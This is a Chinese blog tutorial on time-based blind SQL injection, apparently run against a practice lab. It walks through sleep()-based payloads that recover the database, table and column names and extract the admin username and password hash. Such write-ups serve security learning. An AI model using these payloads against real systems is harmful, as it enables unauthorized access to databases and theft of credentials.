2020 07 13 SQL盲注 延時注入

2021-10-23 08:39:15 字數 4714 閱讀 6756

思路:

*判斷是否存在注入,注入是字元型還是數字型

*猜解當前資料庫名

*猜解資料庫表名

*猜解欄位名

*猜解資料

1判斷注入型別

payload result

1』 and sleep(5) # 延遲

1 and sleep(5)# 沒有延遲

存在字元型注入

2猜解當前資料庫名

2.1猜解資料庫名的長度:

payload result

1』 and if(length(database())=1,sleep(5),1) # 沒有延遲

1』 and if(length(database())=2,sleep(5),1) # 沒有延遲

1』 and if(length(database())=3,sleep(5),1) # 沒有延遲

1』 and if(length(database())=4,sleep(5),1) # 延遲

說明資料庫名長度為4個字元。

2.2採用二分法猜解資料庫名:

payload result

1』 and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 延遲

…1』 and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲

1』 and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 沒有延遲

說明資料庫的第乙個字元為小寫字母d(ascii碼:100)

重複上述步驟,就能猜解出資料庫名。

3猜解資料庫的表名

3.1先猜解資料庫中表的數量:

payload result

1』 and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) # 沒有延遲

1』 and if(select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # 延遲

說明資料庫中有兩個表。

3.2接著猜解表名:

payload result

1』 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲

…1』 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 延遲

說明第乙個表名的長度為9個字元。

然後猜解表名:

payload result

1』 and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))>97,sleep(5),1) # 延遲

1』 and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))<100,sleep(5),1) # 沒有延遲

…1』 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=103,sleep(5),1) # 延遲

表名的第乙個字元為g(ascii碼:103),照此方法依次猜出表名。

得出這兩個表依次為:guestbook、users.

4由表名猜欄位名

先猜字段數:

payload result

1』 and if((select count(column_name) from information_schema.columns where table_name= 「users」)=1,sleep(5),1) # 沒有延遲

…1』 and if((select count(column_name) from information_schema.columns where table_name= 「users」)=9,sleep(5),1) # 延遲

說明users表有8個字段。

猜欄位名

payload result

1』 and if((select ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1)))>97, sleep(5),0) # 延遲

1』 and if((select ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1)))<105, sleep(5),0) # 延遲

…1』 and if((select ascii(substr((select column_name from information_schema.columns where table_name=」users」 limit 0,1),1,1)))=117, sleep(5),0) # 延遲

依次類推可得表中所有欄位名

敏感字段: user、password.

猜解user和password的值的長度

第乙個使用者名稱長

payload result

1』and if((select (length(substr((select user from users limit 0,1),1))=1) ,sleep(5),1) # 沒有延遲

…1』and if((select (length(substr((select user from users limit 0,1),1))=5) ,sleep(5),1) # 延遲

第乙個使用者名稱的password的md5字段長

payload result

1』and if((select (length(substr((select password from users limit 0,1),1))=1) ,sleep(5),1) # 沒有延遲

…1』and if((select (length(substr((select password from users limit 0,1),1))=27) ,sleep(5),1) # 延遲

第乙個使用者名稱:

payload result

1』 and if(select ascii(substr((select user from users limit 0,1),1,1))>97,sleep(5),1) # 沒有延遲

…1』 and if(select ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) # 延遲

依次猜解得第乙個使用者名為admin

第乙個使用者的密碼

payload result

1』 and if(select ascii(substr((select password from users limit 0,1),1,1))>97,sleep(5),1) # 沒有延時

…1』 and if(select ascii(substr((select password from users limit 0,1),1,1))=53,sleep(5),1) # 延時

依次猜解密碼的md5值:5f4dcc3b5aa765d61d8327deb882cf99

user password

admin 5f4dcc3b5aa765d61d8327deb882cf99

這樣就可以猜解資料庫中的資料。

語句:select schema_name from information_schema.schemata (獲取資料庫名)

select table_name from information_schema.tables (獲取表名)

select column_name from information_schemata.columns (獲取所有列名)

函式:sleep()函式

用法(語法):sleep(duration),其中duration的單位是秒。

ascii(string)

功能: 資料庫字符集返回string的第乙個位元組的十進位制表示。

substr(string,start [,length])

第乙個引數為要處理的字串,start為開始位置,length為擷取的長度。

count(column_name) 函式返回指定列的值的數目(null 不計入)。

limit [offset,] rows

offset是偏移量,表示我們現在需要的資料是跳過多少行資料之後的,可以忽略;

rows表示我們現在要拿多少行資料。

延時盲注(一)

適用於,無法回現和無法顯示錯誤頁面的場景 我們看到介面,首先在url欄進行get傳參,但是沒有任何回顯,介面沒有變化 然後使用延時注入,這裡我們用到了資料庫裡的if語句 有點類似於三元運算,條件成立,就執行第二個,條件不成立就執行第三個。結果 12時網頁睡眠,可以判斷當前庫名有12個字元 結果 10...

sql盲注特點 SQL盲注

盲注原理 盲注的分類 盲注常用函式 一 sql盲注概述 1.如果資料庫執行返回結果時只反饋對錯不會返回資料庫中的資訊 此時可以採用邏輯判斷是否正確的盲注來獲取資訊。2.盲注是不能通過直接顯示的途徑來獲取資料庫資料的方法。在盲注中,攻擊者根據其返回頁面的不同來判斷資訊 可能是頁面內容的不同,也可以是響...

SQL盲注 時間盲注,dnslog盲注

時間盲注原理 id get id sql select from users where id id limit 0,1 result mysql query sql row mysql fetch array result if row else 存在sql注入漏洞 然而頁面不會回顯資料,也不會回...